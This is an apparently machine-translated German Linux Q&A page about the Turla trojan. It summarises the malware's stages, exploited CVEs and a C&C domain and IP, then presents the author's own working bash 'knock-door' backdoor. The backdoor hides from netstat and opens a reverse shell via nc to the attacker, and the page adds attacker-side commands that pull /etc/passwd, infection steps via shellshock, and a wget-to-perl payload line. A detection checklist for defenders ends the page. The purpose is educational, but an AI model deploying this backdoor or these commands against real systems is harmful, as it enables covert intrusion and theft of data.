GNU/Linux >> LINUX-Kenntnisse >  >> Linux

Linux-basierter Turla-Trojaner

TURLA ist die letzte Stufe einer großen und ausgeklügelten Familie von Malware. Windows-Versionen sind seit mindestens 2010 bekannt. Diese 40-seitige Präsentation ist für beide Plattformen die umfassendste Ressource, die ich je gesehen habe.

TURLA - Entwicklung &Betrieb

Einige Windows-Highlights

  • Stadium 0:Angriffsstadium - Infektionsvektor
  • Stufe 1:Aufklärungsstufe - anfängliche Hintertür
  • Stadium 2:seitliche Bewegungen
  • Stufe 3:Stufe „Zugriff hergestellt“ – TURLA bereitgestellt
  • Auf jeder Stufe können sie aufhören, wenn sie das Interesse am Ziel verlieren

Stufe 0:Injektionsvektoren

  • Spear-Phishing (CVE-2013-3346)(CVE-2013-5065)

  • Watering Holes [Adobe Update Social Engineering/Java Exploits (CVE-2012-1723), Adobe Flash Exploits oder Internet Explorer 6,7,8 Exploits]

  • Kompromittierung durch Drittanbieter

Stufe 1:Aufklärungsphase

  • Anfängliche Hintertür - WipBot/Epic/TavDig

  • WipBot ist eine Kombination aus einem Zero-Day- und einem CVE-2013-3346-Exploit

  • Exportiert Funktionen mit denselben Namen wie TURLA. Keine weiteren Ähnlichkeiten

  • Unterbricht das Debugging und die meisten Malware-Sandboxes

  • Hopfen mehrfach verarbeiten, eigene PE-Sektion löschen

  • Weitere Beschreibung im Bericht von Kaspersky Lab

Stufe 2:Seitliche Bewegungen

  • C&C verfeinern

  • Netzwerk weiter durchdringen

  • Neue Hintertür verwenden

  • Ruft Domänenadministrator-Anmeldeinformationen ab

Etappe 3:Turla

  • Auf ausgewählten Computern für langfristige Kompromittierung abgelegt

  • Maschinen können jahrelang unbemerkt kompromittiert werden





Andere Ressourcen

  • Der 'Penguin Turla' - Kaspersky Lab (Linux-spezifische Details)

  • Symantec-Bericht – Turla





Linux-Highlights

  • Turla-Modul geschrieben in C/C++

  • Basierend auf cd00r

  • Ausführbare Datei ist statisch mit mehreren Bibliotheken verknüpft

  • Seine Funktionalität umfasst versteckte Netzwerkkommunikation, beliebige Fernbefehlsausführung und Fernverwaltung

  • Ein Großteil des Codes basiert auf öffentlichen Quellen

  • Kann nicht mit netstat

    erkannt werden
  • nicht erfordern Root-Zugriff

Eigenschaften der ausführbaren Linux-Datei

  • ELF 32-Bit-LSB-Programmdatei, Intel 80386, Version 1 (SYSV), statisch verknüpft, für GNU/Linux 2.2.5, entfernt

Statisch verknüpfte Linux-Bibliotheken

  • glibc2.3.2 - die GNU-C-Bibliothek

  • openssl v0.9.6 - eine ältere OpenSSL-Bibliothek

  • libpcap - Netzwerkerfassungsbibliothek von tcpdump

Linux C&C-Details

  • C&C der ersten Stufe ist fest codiert. Bekannte Aktivität @ news-bbc.podzone[.]org

  • pDNS-IP:80.248.65.183

Linux-Start-/Ausführungsdetails

  • Für den Prozess sind zwei Parameter erforderlich:ID (ein numerischer Wert, der als Teil des „magischen Pakets zur Authentifizierung“ verwendet wird) und ein vorhandener Netzwerkschnittstellenname

  • Die Parameter können auf zwei verschiedene Arten eingegeben werden:von STDIN oder von Dropper a beim Starten des Samples

  • Nachdem die ID und der Schnittstellenname eingegeben und der Prozess gestartet wurde, wird die Prozess-PID der Hintertür zurückgegeben

Linux Magic Packet

  • Verknüpft statisch PCAP-Bibliotheken

  • Ruft Raw-Socket ab, wendet Filter an, erfasst Pakete

  • Sucht nach einer ACK-Nummer im TCP-Header oder im zweiten Byte des UDP-Paketkörpers

  • Wenn die Bedingung erfüllt ist, springt die Ausführung zum Inhalt der Paketnutzdaten und erstellt einen regulären Socket

  • Backdoor verwendet einen neuen Socket, um sich mit der Quelladresse von Magic Packets zu verbinden

  • Backdoor meldet seine eigene PID und IP und wartet auf den Empfang von Befehlen

  • Eingehende Befehle werden mit einem "/bin/sh -c "-Skript

    ausgeführt

Abschließende Anmerkungen

Alles bezüglich der Linux-Version stammt aus dem Kaspersky-Bericht. Leider scheint die Erkennung an dieser Stelle sehr schwierig zu sein.

"Obwohl Linux-Varianten des Turla-Frameworks bekannt waren, haben wir noch keine in freier Wildbahn gesehen." - Kaspersky Lab


Wie das funktioniert:

Kurze Einführung

Um einen Weg zu finden, sie zu erkennen, habe ich intensiv an Konzepten und Methoden gearbeitet.

Dafür habe ich schnell ein kleines Bash-Skript geschrieben, das ungefähr auf die gleiche Weise funktioniert.

Von dort aus und mit etwas zusätzlichem Wissen über Un*x-Konzepte poste ich meine Checkliste, die helfen könnte, diesen funktionierenden Trojaner in jedem System zu finden.

Bash hat Turla Knock-Door neu geschrieben

Um zu verstehen, wie das funktioniert, habe ich Folgendes geschrieben:

(Dies muss auf dem Zielhost ausgeführt werden, durch einen entfernten Exploit, Viren oder anderes.)

#!/bin/bash

myIpSum=${1:-1b673d1250747dd45696ff954aceed02}
myIpSalt=SaltMyIP        # Making IpSum more difficult to retrieve
printf -v bport %04X ${2:-22} # port to watch for incoming ``knock''
printf -v rport %d   ${3:-80} # port listen on attacker host

while true;do
    while IFS=': ' read seq loci locp remi remp foo;do
        [ -z "${seq//[0-9]}" ] &&
            [ "$locp" == "$bport" ] &&
            [ "$remp" != "0000" ] &&
            myIpAdd=$[16#${remi:6:2}].$[16#${remi:4:2}] &&
            myIpAdd+=.$[16#${remi:2:2}].$[16#${remi:0:2}] &&
            chksum=($(md5sum <<<$myIpSalt$myIpAdd)) &&
            [ "$chksum" == "$myIpSum" ] &&
            nc -w 10 -c "/bin/bash ${4} 2>&1" $myIpAdd $rport
    done < /proc/net/tcp
    read -t .5 -n 1
    [ "$REPLY" == "q" ] && exit 0
  done

Dies ist nicht völlig nicht nachweisbar aber...

Funktionen

  • Völlig unauffindbar mit netstat , während Sie auf die Verbindungen des Angreifers achten.
  • Verwenden Sie [In->Out] als [RANDOM->80] TCP-Ports, damit die Verbindung wie eine beliebige Surfen aussieht Verbindung.
  • Warten Sie auf eine bestimmte IP (gehasht, also nicht lesbar) auf dem lokalen Port 22, ohne mit promiscuous -Modus, noch erfordert es root Privileg
  • Sobald eine eingehende Verbindung von der spezifischen IP erkannt wurde (Knock! ), öffnet dies eine Verbindung zu dieser IP auf Port 80, um wie eine Surfverbindung auszusehen und biete eine bash an , zurück zu dieser Verbindung.

Hinweis: Echter Trojaner könnte SSL und echte HTTP-Header verwenden, um auch über Proxys zu arbeiten!!

Dies akzeptiert 4 Argumente:

$0 [myIpSum [KnockDoorPort [myPort [-i]]]]
  • myIpSUm ist Hash von Salted Angreifer s IP. Könnte mit md5sum <<<SaltMyIP192.168.1.31 gerendert werden (Salt könnte im Skript geändert werden).
  • KnockDoorPort -> bport ist ein bereits gebundener Port, der auf dem Zielhost verwendet wird (22 als Beispiel, wenn das Ziel SSH bedient, aber jeder geöffnete Port könnte verwendet werden)
  • myPort -> rport ist der Port des lokalen Angreifers, der für eingehende Verbindungen verwendet wird (80, um wie eine ausgehende HTTP-Verbindung auszusehen. Natürlich muss der Angreifer root auf seinem Host sein!)
  • -i Flag könnte verwendet werden, um bash auszuführen interaktiv

Schritt der Infektion

  1. Der erste Schritt besteht darin, dieses Skript mithilfe eines Remote-Exploits wie shellshock auszuführen oder irgendein Pufferüberlauf .

  2. Zweitens muss der Angreifer die IP des Ziels kennen, um knock door zu senden auf Port 22

  3. Verwenden Sie von IP des Angreifers (als Root zum Abhören von TCP-Port 80), warten Sie auf die eingehende Verbindung des Ziels.

  4. Du bist Logger in einer Granate am Ziel!

    bash -c "nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
         ";nc -l -p -w 3 -q 3 80 <<<"$remoteCommandLine with args"
    

Beispiel:

bash -c 'nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
    ';nc -l -w 5 -q 3 -p 80 <<<uptime
18:43:00 up 21 days,  6:19,  1 user,  load average: 0.00, 0.01, 0.00

oder

bash -c 'nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
    ';nc -l -w 5 -q 3 -p 80 <<<'tar -zcC /etc passwd group 2>/dev/null' |\
    tar -ztvf -
-rw-r--r-- root/root      1222 2011-11-19 10:00 passwd
-rw-r--r-- root/root       611 2011-11-19 10:00 group

Nicht so einfach zu erkennen

Solange das Skript auf dem Zielhost ausgeführt wird und keine Verbindung des Angreifers geöffnet ist, ist das ausgeführte Skript durch Verwendung von netcat nicht sichtbar .

Knock werden einmal auf Port 22 durchgeführt, wo viele Verbindungsfehler normal sind . Eine echte Shell-Verbindung sieht aus wie jede ausgehende http-Verbindung.

Antworten:

  1. Wie werden Linux-Rechner infiziert

    Dies ist ein Trojaner , also spielt diese Frage keine Rolle... (Beispiel siehe Shellshock)

  2. Gibt es eine Privilegienausweitung, oder passiert das Ganze nur unter dem infizierten Benutzer (d. h. UID 1000)

    Nein, eines der Ziele davon ist es, Angreifern zu ermöglichen, nach einer Möglichkeit zu suchen, Berechtigungsausweitung durchzuführen .

  3. Wo "lebt" der Malware-Code auf dem infizierten Rechner

    1. Überall und nirgendwo:Wenn Sie dies als Anhang ausführen, wissen Sie möglicherweise, wo Sie sie gespeichert haben. Wenn es von einem Remote-Exploit ausgeführt wird, könnten sie die Binärdatei löschen, sobald sie ausgeführt wurde.

    2. Wenn Turla ist eine Binärdatei (in C geschrieben), die sie haben irgendwo in Ihrem Un*x-System gespeichert werden, wobei ausführbare Flags gesetzt sind, um ausgeführt zu werden. Neuere Dateisysteme erlauben es, sie nach dem Ausführen zu löschen, aber Inodes müssen unberührt bleiben!
      Dies könnte bei der Suche nach Binärdateien aufgedeckt werden, die in Ihrem System ausgeführt werden, sich aber in Standard PATH befinden .

    3. Wenn Trojaner ein Skript ist, muss nur die Binärdatei im Dateisystem gelinkt werden, damit das Skript gelöscht oder sogar als STDIN ausgeführt werden kann und überhaupt nicht gespeichert.
      wget -qO - http://attacker.example.com/virus.pl | perl

  4. sowie alle anderen interessanten Details

    Bitte versuchen Sie es mit meinem Bash-Skript...

Checkliste (hinzugefügt:2015-02-04)

  • Suchen Sie nach fork pids (wobei Parent Pid ==1)

     grep PPid:\\s1$ /proc/*/status
    
  • Suchen Sie nach Prozessen, die keine Binärdateien von PATH ausführen

     for pid in $(ps axho pid);do
         readlink /proc/$pid/exe |
           sed 's/\/[^\/]*$//'|
           grep -q "^${PATH//:/$\|^}$" ||
             printf "%10d  %-16s  %s\n" $pid "$(
                 sed 's/Name:[\t ]*//;q' /proc/$pid/status
               )" "$(
                 readlink /proc/$pid/exe
               )"
       done
    
  • Suche nach Prozess, der lange läuft

     ps axho pid,etime,user,cmd
    

    ...

     ps axho pid,etimes,user,cmd | grep -v '[0-9] root ' | sort -nk2
    
  • Skript:Suche nach Prozess, der eine Art Versteck macht:Vergleiche exe und command line

     for pid in $( grep PPid:\\s1$ /proc/*/status | cut -d/ -f3 ) ;do
         printf "%10d  %-40s  %s\n" $pid "$(
             readlink /proc/$pid/exe)" "$(</proc/$pid/cmdline)"
       done
    
  • Mit apparmor , könnten Sie nach Prozessen suchen, die auf den TCP-Stapel zugreifen (und/oder udp-stack ).

  • Mit tcpdump , gibt es eine starke Arbeit, aber eine effiziente Lösung:

    Achten Sie auf ausgehend Verbindungen, die irgendeine Art von Anfrage stellen, werden nicht unbedingt zu einer Antwort sofort danach, aber nächste Anfrage sofort senden nach Erhalt der ersten Antwort, dann kümmert sich nicht um die Antwort der letzten Anfrage:wird beendet, wenn exit empfangen wird Direktive, die so etwas wie logout. sagt , die als letzte HTTP-Anforderung der aktuellen Sitzung gesteuert werden könnte , aber vor schließen Empfangen einer http-Antwort .

    Tatsächlich müssen Sie eine ausgehende Verbindung finden, bei der der Datenaustausch nicht dem regulären Schema der ausgehenden Verbindung entspricht, sondern einem hybriden Schema von Server-Start - eingehende Verbindung - Server-Stopp .

    Diese müssen natürlich gefangen werden weil keine Verbindung dauerhaft geöffnet ist.

  • Statistiken zu Systemaufrufen erstellen (mit apparmor)

    danke an alphanet für diese idee

    Erstellen Sie Statistiken für jeden laufenden Prozess und

    Senden Sie sie an ein Bayes'sches Tool, um reguläre Profile zu berechnen

    Um benachrichtigt zu werden, wenn ein neuer Prozess nicht mit regulären Profilen übereinstimmt (oder sogar wenn sich ein laufender Prozess ändert).


Linux
  1. Beginnen Sie mit NetworkManager unter Linux

  2. So scannen Sie Ihre Linux-Box mit ClamAV auf Trojaner, Malware und Viren

  3. Linux – Was sind die Hauptunterschiede zwischen Bsd- und Linux-basierten Betriebssystemen?

  4. Eine Pipe-Stufe bedingt in ein Bash-Skript einschließen?

  5. Dell Precision M4600 steckt in der letzten Phase des Neustarts fest?

Aufbau eines Linux-basierten HPC-Systems auf dem Raspberry Pi mit Ansible

So verwenden Sie Plesk zum Bereitstellen von Websites

Virus-Alarm! Ein reiner Linux-Trojaner „Hand Of Thief“ auf dem Graumarkt gesichtet

Behebung des Fehlers „Vagrant konnte nicht in einem sehr frühen Stadium initialisiert werden“.

Linux – Wie greift Grub Stage1 genau auf Stage 2 zu/lädt es?

Wie finde ich heraus, welche Prozesse in einem GNU/Linux-basierten System auf die Festplatte zugreifen?